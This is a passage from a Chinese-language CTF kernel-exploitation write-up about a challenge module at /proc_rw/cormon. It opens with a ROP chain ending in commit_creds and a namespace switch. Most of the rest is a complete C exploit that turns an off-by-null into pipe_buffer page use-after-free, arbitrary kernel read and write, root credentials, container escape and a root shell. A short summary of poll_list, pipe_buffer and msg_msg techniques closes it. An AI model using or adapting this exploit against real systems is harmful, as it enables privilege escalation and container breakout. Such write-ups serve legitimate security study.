*rop ++= kernel_base + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
*rop ++= kernel_base + 0xffffffff810eba40; // commit_creds
// task = find_task_by_vpid(1)
*rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
*rop ++= 1; // pid
*rop ++= kernel_base + 0xffffffff810e4fc0; // find_task_by_vpid
// switch_task_namespaces(task, init_nsproxy)
*rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
*rop ++= 0; // 0
*rop ++= kernel_base + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
*rop ++= kernel_base + 0xffffffff8100051c; // pop rsi ; ret
*rop ++= kernel_base + 0xffffffff8245a720; // init_nsproxy;
*rop ++= kernel_base + 0xffffffff810ea4e0; // switch_task_namespaces
// new_fs = copy_fs_struct(init_fs)
*rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
*rop ++= kernel_base + 0xffffffff82589740; // init_fs;
*rop ++= kernel_base + 0xffffffff812e7350; // copy_fs_struct;
*rop ++= kernel_base + 0xffffffff810e6cb7; // push rax ; pop rbx ; ret
// current = find_task_by_vpid(getpid())
*rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
*rop ++= getpid(); // pid
*rop ++= kernel_base + 0xffffffff810e4fc0; // find_task_by_vpid
// current->fs = new_fs
*rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
*rop ++= 0x6e0; // current->fs
*rop ++= kernel_base + 0xffffffff8102396f; // add rax, rcx ; ret
*rop ++= kernel_base + 0xffffffff817e1d6d; // mov qword ptr [rax], rbx ; pop rbx ; ret
*rop ++= 0; // rbx
// kpti trampoline
*rop ++= kernel_base + 0xffffffff81c00ef0 + 22; // swapgs_restore_regs_and_return_to_usermode + 22
*rop ++= 0;
*rop ++= 0;
*rop ++= (uint64_t)&win;
*rop ++= usr_cs;
*rop ++= usr_rflags;
*rop ++= (uint64_t)(stack + 0x5000);
*rop ++= usr_ss;
puts("[*] Freeing user keys...");
free_all_keys(false);
puts("[*] Spraying ROP chain...");
for (int i = 0; i < 31; i++)
keys[i] = alloc_key(n_keys++, buff, 600);
puts("[*] Hijacking control flow...");
for (int i = 0; i < 1024; i++)
release_pipe_buff(i);
// ---
for (int i = 0; i < 256; i++)
pthread_join(poll_tid[i], NULL);
}
第二种利用方式就是直接利用 pipe_buffer
去构造自写管道系统进行提权逃逸,这个利用方式就不多说了。
笔者 exp
如下:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <sys/prctl.h>
size_t kernel_base = 0xffffffff81000000, kernel_offset = 0;
size_t page_offset_base = 0xffff888000000000, vmemmap_base = 0xffffea0000000000;
size_t init_task, init_nsproxy, init_cred, init_fs;
size_t direct_map_addr_to_page_addr(size_t direct_map_addr)
{
size_t page_count;
page_count = ((direct_map_addr & (~0xfff)) - page_offset_base) / 0x1000;
return vmemmap_base + page_count * 0x40;
}
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] %s\033[0m\n", msg);
sleep(1);
exit(EXIT_FAILURE);
}
void info(char *msg)
{
printf("\033[33m\033[1m[@] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: \033[0m%#llx\n", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
/* bind the process to specific core */
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
int key_alloc(char *description, char *payload, size_t plen)
{
return syscall(__NR_add_key, "user", description, payload, plen,
KEY_SPEC_PROCESS_KEYRING);
}
int key_update(int keyid, char *payload, size_t plen)
{
return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}
int key_read(int keyid, char *buffer, size_t buflen)
{
return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}
int key_revoke(int keyid)
{
return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}
int key_unlink(int keyid)
{
return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}
struct page;
struct pipe_inode_info;
struct pipe_buf_operations;
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
#define PAGE_SIZE 4096
#define SPRAY_PIPE_NUMS 0xf0
#define S_PIPE_BUF_SZ 96
#define T_PIPE_BUF_SZ 192
#define SPRAY_KEY_NUMS 0x100
int key_id[SPRAY_PIPE_NUMS];
int pipe_fd[SPRAY_PIPE_NUMS][2];
int orig_idx = -1, victim_idx = -1;
int snd_orig_idx = -1, snd_victim_idx = -1;
int self_1_pipe_idx = -1, self_2_pipe_idx = -1, self_3_pipe_idx = -1;
struct pipe_buffer self_pipe_buf;
struct pipe_buffer self_1_pipe_buf, self_2_pipe_buf, self_3_pipe_buf;
int fd;
void off_by_null(){
char buf[PAGE_SIZE] = { 0 };
write(fd, buf, PAGE_SIZE);
}
size_t kbase, koffset;
void construct_first_level_page_uaf() {
info("Step I - construct first level page uaf");
puts("[+] Spraying pipe_buffer from kmalloc-1k [GFP_KERNEL_ACCOUNT]");
for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
if (pipe(pipe_fd[i]) < 0) err_exit("ERROR at pipe()");
}
puts("[+] Spraying pipe_buffer from kmalloc-4k [GFP_KERNEL_ACCOUNT] by fcntl()");
int k = 0, flag = 1;
for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000*64) < 0) perror("fcntl()"), err_exit("ERROR at fcntl()");
if (i > 4 && (i % 9) == 0 && flag) {
char des[16] = { 0 };
char val[4096] = { 0 };
sprintf(des, "%s%d", "pwn_", i);
if ((key_id[k++] = key_alloc(des, val, 4096-0x18)) < 0)
printf("[+] user_key_payload -- kmalloc-4k: %d\n", k), flag = 0;
}
write(pipe_fd[i][1], "XiaozaYa", 8);
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], "AAAAAAAX", 8);
write(pipe_fd[i][1], "BBBBBBBX", 8);
}
/*
puts("[+] Freeing some pipe_buffer to kmalloc-4k / pipe_fd[3i]");
for (int i = 0; i < SPRAY_PIPE_NUMS; i+=3) {
close(pipe_fd[i][0]);
close(pipe_fd[i][1]);
}
*/
puts("[+] Trying to overwrite pipe_buffer.page");
for (int i = 0; i < k; i++) {
key_revoke(key_id[i]);
key_unlink(key_id[i]);
}
sleep(1);
off_by_null();
/*
puts("[+] Spraying pipe_buffer from kmalloc-1k [GFP_KERNEL_ACCOUNT] / pipe_fd[2i]");
for (int i = 0; i < SPRAY_PIPE_NUMS; i+=3) {
if (pipe(pipe_fd[i]) < 0) err_exit("ERROR at pipe()");
}
puts("[+] Spraying pipe_buffer from kmalloc-4k [GFP_KERNEL_ACCOUNT] by fcntl() / pipd_fd[2i]");
for (int i = 0; i < SPRAY_PIPE_NUMS; i+=3) {
if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000*64) < 0) perror("fcntl()"), err_exit("ERROR at fcntl()");
write(pipe_fd[i][1], "XiaozaYa", 8);
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], "AAAAAAAX", 8);
write(pipe_fd[i][1], "BBBBBBBX", 8);
}
*/
puts("[+] Checking...");
for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
int nr = -1;
char tag[16] = { 0 };
read(pipe_fd[i][0], tag, 8);
read(pipe_fd[i][0], &nr, sizeof(int));
if (!strcmp(tag, "XiaozaYa") && i != nr) {
orig_idx = nr;
victim_idx = i;
hexx("orig_idx", orig_idx);
hexx("victim_idx", victim_idx);
}
}
if (orig_idx == -1) err_exit("FAILED to overwrite pipe_buffer.page");
puts("");
}
void construct_second_level_page_uaf() {
info("Step II - construct second level page uaf");
size_t buf[PAGE_SIZE] = { 0 };
size_t s_pipe_sz = 0x1000 * (S_PIPE_BUF_SZ/sizeof(struct pipe_buffer));
write(pipe_fd[victim_idx][1], buf, S_PIPE_BUF_SZ*2 - sizeof(int)*3 - 24);
read(pipe_fd[victim_idx][0], buf, S_PIPE_BUF_SZ - sizeof(int) - 8);
/*
puts("[+] Spraying user_key_payload from kmalloc-96 [GFP_KERNEL]");
int k = 0, flag = 1;
for (int i = 0; i < 130 && flag; i++, k++) {
char des[16] = { 0 };
char val[96] = { 0 };
sprintf(des, "%d", i);
if ((key_id[i] = key_alloc(des, val, 90-0x18)) < 0)
printf("[+] user_key_payload -- kmalloc-96: %d\n", k), flag = 0;
}
*/
close(pipe_fd[orig_idx][0]);
close(pipe_fd[orig_idx][1]);
sleep(1);
puts("[+] Spraying pipe_buffer from kmalloc-96 [GFP_KERNEL_ACCOUNT] by fcntl()");
for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
if (i == victim_idx || i == orig_idx) continue;
if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, s_pipe_sz) < 0) err_exit("ERROR at fcntl()");
}
/*
for (int i = 0; i < k; i++) {
key_revoke(key_id[i]);
key_unlink(key_id[i]);
}
*/
puts("[+] Checking...");
read(pipe_fd[victim_idx][0], &self_pipe_buf, sizeof(struct pipe_buffer));
if (self_pipe_buf.page < 0xffff000000000000ULL) err_exit("FAILED to occupy first level uaf page");
binary_dump("self_pipe_buf", &self_pipe_buf, sizeof(struct pipe_buffer));
hexx("pipe_buffer.page ", self_pipe_buf.page);
hexx("pipe_buffer.offset ", self_pipe_buf.offset);
hexx("pipe_buffer.len ", self_pipe_buf.len);
hexx("pipe_buffer.ops ", self_pipe_buf.ops);
hexx("pipe_buffer.flags ", self_pipe_buf.flags);
hexx("pipe_buffer.private", self_pipe_buf.private);
write(pipe_fd[victim_idx][1], &self_pipe_buf, sizeof(struct pipe_buffer));
puts("[+] Checking...");
for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
if (i == victim_idx || i == orig_idx) continue;
int nr = -1;
read(pipe_fd[i][0], &nr, sizeof(int));
if (nr < SPRAY_PIPE_NUMS && i != nr) {
snd_orig_idx = nr;
snd_victim_idx = i;
hexx("snd_orig_idx", snd_orig_idx);
hexx("snd_victim_idx", snd_victim_idx);
}
}
if (snd_orig_idx == -1) err_exit("FAILED to construct second level page uaf");
puts("");
}
void construct_self_writing_pipe() {
info("Step III - construct self writing pipe");
size_t buf[0x1000] = { 0 };
struct pipe_buffer evil_pipe_buf;
struct page* page_ptr;
int t_pipe_sz = 0x1000 * (T_PIPE_BUF_SZ/sizeof(struct pipe_buffer));
write(pipe_fd[snd_victim_idx][1], buf, T_PIPE_BUF_SZ - sizeof(int)*3 - 24);
/*
puts("[+] Spraying user_key_payload from kmalloc-192 [GFP_KERNEL]");
int k = 0, flag = 1;
for (int i = 0; i < SPRAY_KEY_NUMS && flag; i++, k++) {
char des[16] = { 0 };
char val[192] = { 0 };
sprintf(des, "%d", i);
if ((key_id[i] = key_alloc(des, val, 190-0x18)) < 0)
printf("[+] user_key_payload -- kmalloc-192: %d\n", k), flag = 0;
}
*/
close(pipe_fd[snd_orig_idx][0]);
close(pipe_fd[snd_orig_idx][1]);
puts("[+] Spraying pipe_buffer from kmalloc-192 [GFP_KERNEL_ACCOUNT] by fcntl()");
for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
if (i == victim_idx || i == orig_idx) continue;
if (i == snd_victim_idx || i == snd_orig_idx) continue;
if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, t_pipe_sz) < 0) err_exit("ERROR at fcntl()");
}
puts("[+] Checking...");
puts("[+] construct self writing pipe I");
memcpy(&evil_pipe_buf, &self_pipe_buf, sizeof(struct pipe_buffer));
evil_pipe_buf.offset = T_PIPE_BUF_SZ;
evil_pipe_buf.len = T_PIPE_BUF_SZ;
write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(struct pipe_buffer));
page_ptr = NULL;
for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
if (i == victim_idx || i == orig_idx) continue;
if (i == snd_victim_idx || i == snd_orig_idx) continue;
read(pipe_fd[i][0], &page_ptr, sizeof(struct page*));
if ((size_t)page_ptr == (size_t)(self_pipe_buf.page)) {
self_1_pipe_idx = i;
hexx("self_1_pipe_idx", self_1_pipe_idx);
break;
}
}
if (self_1_pipe_idx == -1) err_exit("FAILED to construct self_1_pipe");
puts("[+] construct self writing pipe II");
write(pipe_fd[snd_victim_idx][1], buf, T_PIPE_BUF_SZ - sizeof(struct pipe_buffer));
write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(struct pipe_buffer));
page_ptr = NULL;
for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
if (i == victim_idx || i == orig_idx) continue;
if (i == snd_victim_idx || i == snd_orig_idx) continue;
if (i == self_1_pipe_idx) continue;
read(pipe_fd[i][0], &page_ptr, sizeof(struct page*));
if ((size_t)page_ptr == (size_t)(self_pipe_buf.page)) {
self_2_pipe_idx = i;
hexx("self_2_pipe_idx", self_2_pipe_idx);
break;
}
}
if (self_2_pipe_idx == -1) err_exit("FAILED to construct self_2_pipe");
puts("[+] construct self writing pipe III");
write(pipe_fd[snd_victim_idx][1], buf, T_PIPE_BUF_SZ - sizeof(struct pipe_buffer));
write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(struct pipe_buffer));
page_ptr = NULL;
for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
if (i == victim_idx || i == orig_idx) continue;
if (i == snd_victim_idx || i == snd_orig_idx) continue;
if (i == self_1_pipe_idx || i == self_2_pipe_idx) continue;
read(pipe_fd[i][0], &page_ptr, sizeof(struct page*));
if ((size_t)page_ptr == (size_t)(self_pipe_buf.page)) {
self_3_pipe_idx = i;
hexx("self_3_pipe_idx", self_3_pipe_idx);
break;
}
}
if (self_3_pipe_idx == -1) err_exit("FAILED to construct self_3_pipe");
puts("");
}
void setup_self_writing_pipe()
{
info("Step IV - setup self writing pipe system");
memcpy(&self_1_pipe_buf, &self_pipe_buf, sizeof(struct pipe_buffer));
memcpy(&self_2_pipe_buf, &self_pipe_buf, sizeof(struct pipe_buffer));
memcpy(&self_3_pipe_buf, &self_pipe_buf, sizeof(struct pipe_buffer));
self_2_pipe_buf.offset = T_PIPE_BUF_SZ * 3;
self_2_pipe_buf.len = 0;
self_3_pipe_buf.offset = T_PIPE_BUF_SZ;
self_3_pipe_buf.len = 0;
write(pipe_fd[self_3_pipe_idx][1], &self_2_pipe_buf, sizeof(struct pipe_buffer));
}
void arb_read(struct page* page_ptr, void* dst, size_t len)
{
char buf[T_PIPE_BUF_SZ] = { 0 };
self_1_pipe_buf.page = page_ptr;
self_1_pipe_buf.offset = 0;
self_1_pipe_buf.len = 0x1000;
write(pipe_fd[self_2_pipe_idx][1], &self_3_pipe_buf, sizeof(struct pipe_buffer));
write(pipe_fd[self_3_pipe_idx][1], &self_1_pipe_buf, sizeof(struct pipe_buffer));
write(pipe_fd[self_3_pipe_idx][1], buf, T_PIPE_BUF_SZ - sizeof(struct pipe_buffer));
write(pipe_fd[self_3_pipe_idx][1], &self_2_pipe_buf, sizeof(struct pipe_buffer));
read(pipe_fd[self_1_pipe_idx][0], dst, len);
}
void arb_write(struct page* page_ptr, void* src, size_t len)
{
char buf[T_PIPE_BUF_SZ] = { 0 };
self_1_pipe_buf.page = page_ptr;
self_1_pipe_buf.offset = 0;
self_1_pipe_buf.len = 0;
write(pipe_fd[self_2_pipe_idx][1], &self_3_pipe_buf, sizeof(struct pipe_buffer));
write(pipe_fd[self_3_pipe_idx][1], &self_1_pipe_buf, sizeof(struct pipe_buffer));
write(pipe_fd[self_3_pipe_idx][1], buf, T_PIPE_BUF_SZ - sizeof(struct pipe_buffer));
write(pipe_fd[self_3_pipe_idx][1], &self_2_pipe_buf, sizeof(struct pipe_buffer));
write(pipe_fd[self_1_pipe_idx][1], src, len);
}
void pwn()
{
info("NO PWN NO FUN");
size_t buf[0x1000];
puts("[+] Leaking vmemmap base and kernel offset by arb_read");
vmemmap_base = (size_t)self_pipe_buf.page & 0xfffffffff0000000;
int f = 10;
for (;;)
{
arb_read(vmemmap_base+157*0x40, buf, 8);
if (f)
{
hexx("data", buf[0]);
f--;
}
if (buf[0] > 0xffffffff81000000 && (buf[0]&0xfff) == 0x040)
{
kernel_base = buf[0] - 0x040;
kernel_offset = kernel_base - 0xffffffff81000000;
break;
}
vmemmap_base -= 0x10000000;
}
hexx("vmemmap_base", vmemmap_base);
hexx("kernel_base", kernel_base);
hexx("kernel_offset", kernel_offset);
puts("[+] Searching for task_struct");
uint64_t parent_task, current_task;
uint64_t* comm_addr = NULL;
size_t base = 0xffff000000000000;
for (int i = 0; ; i++)
{
memset(buf, 0, sizeof(buf));
arb_read(vmemmap_base+i*0x40, buf, 0xff0);
comm_addr = memmem(buf, 0xff0, "YES_I_CAN_DO", 0xc);
if (comm_addr && comm_addr[-2] > base && comm_addr[-3] > base && comm_addr[-56] > base && comm_addr[-55] > base)
{
// parent_task = comm_addr[-56];
current_task = comm_addr[-49] - 0x528;
page_offset_base = (comm_addr[-49]&0xfffffffffffff000) - i*0x1000;
page_offset_base &= 0xfffffffff0000000;
break;
}
}
// hexx("parent_task", parent_task);
hexx("current_task", current_task);
hexx("page_offset_base", page_offset_base);
/*
size_t cinit_task = current_task;
size_t pid_offset = 0x4e0 / 8;
size_t real_parent_offset = 0x4f0 / 8;
for (int i = 0; ; i++){
memset(buf, 0, sizeof(buf));
size_t look_page = direct_map_addr_to_page_addr(cinit_task);
arb_read(look_page, buf, 0xff0);
arb_read(look_page+0x40, &buf[512], 0xff0);
size_t* look_buf = (size_t*)((char*)buf + (cinit_task&0xfff));
if ((look_buf[pid_offset] & 0xffffffff) == 1) {
break;
}
cinit_task = look_buf[real_parent_offset];
}
hexx("cinit_task", cinit_task);
*/
puts("[+] Elevating privileges and Escaping container");
init_fs = 0xffffffff82589740 + kernel_offset;
init_task = 0xffffffff82415940 + kernel_offset;
init_cred = 0xffffffff8245a960 + kernel_offset;
init_nsproxy = 0xffffffff8245a720 + kernel_offset;
hexx("init_fs", init_fs);
hexx("init_task", init_task);
hexx("init_cred", init_cred);
hexx("init_nsproxy", init_nsproxy);
memset(buf, 0, sizeof(buf));
size_t current_task_page = direct_map_addr_to_page_addr(current_task);
arb_read(current_task_page, buf, 0xff0);
arb_read(current_task_page+0x40, &buf[512], 0xff0);
size_t* tsk_buf = (size_t*)((char*)buf + (current_task&0xfff));
tsk_buf[211] = init_cred;
tsk_buf[212] = init_cred;
tsk_buf[220] = init_fs;
tsk_buf[222] = init_nsproxy;
arb_write(current_task_page, buf, 0xff0);
arb_write(current_task_page+0x40, &buf[512], 0xff0);
/* memset(buf, 0, sizeof(buf));
size_t cinit_task_page = direct_map_addr_to_page_addr(cinit_task);
arb_read(cinit_task_page, buf, 0xff0);
arb_read(cinit_task_page+0x40, &buf[512], 0xff0);
tsk_buf = (size_t*)((char*)buf + (cinit_task&0xfff));
tsk_buf[211] = init_cred;
tsk_buf[212] = init_cred;
tsk_buf[220] = init_fs;
tsk_buf[222] = init_nsproxy;
arb_write(cinit_task_page, buf, 0xff0);
arb_write(cinit_task_page+0x40, &buf[512], 0xff0);
*/
hexx("UID", getuid());
system("/bin/sh");
while(1) {}
}
int main(int argc, char** argv, char** envp) {
bind_core(0);
save_status();
fd = open("/proc_rw/cormon", O_RDWR);
if (fd < 0) err_exit("FAILED to open /proc_rw/cormon");
if (prctl(PR_SET_NAME, "YES_I_CAN_DO", 0, 0, 0) != 0) err_exit("ERROR at prctl()");
construct_first_level_page_uaf();
construct_second_level_page_uaf();
construct_self_writing_pipe();
setup_self_writing_pipe();
pwn();
// getchar();
puts("[~] EXP NERVER END!");
return 0;
}
效果如下:成功率也还行,最后可以成功提权逃逸
总结
总的来说就是去找到一些结构体,其头 8 字节是一个指针,然后利用 off by null
去损坏该指针,比如使得 0xXXXXa0
变成 0xXXXX00
,然后就可以考虑去构造 UAF
了。
比如在 poll_list
利用方式中:
- 先堆喷大量
32
字节大小的user_key_payload
这里只所以是
32
字节大小是因为要与后面的seq_operations
配合,并且32
大小的object
其低字节是可能为\x00
的,其低字节为0x20
、0x40
、0x80
、0xa0
、0xc0
、0xe0
、0x00
。
- 然后创建
poll_list
链,其中poll_list.next
指向的是一个0x20
大小的object
这里笔者存在一个问题,这种方式是不是只能针对
4096
大小的off by null
呢?因为只有poll_list
链的最后一个poll_list
的大小才是可以控制的
- 触发
off by null
,修改poll_list.next
的低字节为\x00
,这里可能导致其指向某个user_key_payload
- 然后等待
timeout
后, 就会导致某个user_key_payload
被释放,导致UAF
在 pipe_buffer
构造自写管道也是一样的,pipe_buffer.page
指向的是一个 struct page
结构体,而该结构体大小为 0x40
,所以其低字节可能为 0x40
、0x80
、0xc0
、0x00
。
总的来说感觉利用 pipe_buffer
构造自写管道还是好一些,毕竟只需要堆喷 pipe_buffer
,并且 pipe_buffer
的大小是可以通过 fcntl
修改的,并且其只需要一次 off by null
即可(当然 poll_list
利用方式也是只需要一次),所以似乎其也更加通用。
当然这里还是得讨论下另一个女友 msg_msg
了。在 CVE-2021-22555
中,msg_msg + sk_buf + pipe_buffer
仅仅利用 2 (null)字节溢出完成提权逃逸。但如果只是 off by null
呢?在原 CVE
的利用中,从消息是堆喷的 1024
大小,其低字节恒为 \x00
,所以此时 off by null
似乎就不起作用了。但感觉还是有操作空间的,这里笔者就简单想了想,没有实操,后面有时间在探索探索吧。
其实道理很简单,这里我们仅仅是为了去构造 UAF
,所以我们可以选择 kmalloc-8 ~ kmalloc-192
之间的 object
作为从消息去构造 kmalloc-8 ~ kmalloc-192
的 UAF
,比如这里就i可以选择 kmalloc-32
即利用 user_key_payload
去泄漏相关信息,并且观察 user_key_payload
和 msg_msg
结构体你会发现,我们可以通过 setxattr
去控制 user_key_payload
的头 8 字节为 null
也就是说可以控制 msg_msg
的头 8 字节,然后 msg_msg.next
为 user_key_payload
的 data
域,所以可以控制 msg_msg.next
从而可以构造任意释放原语。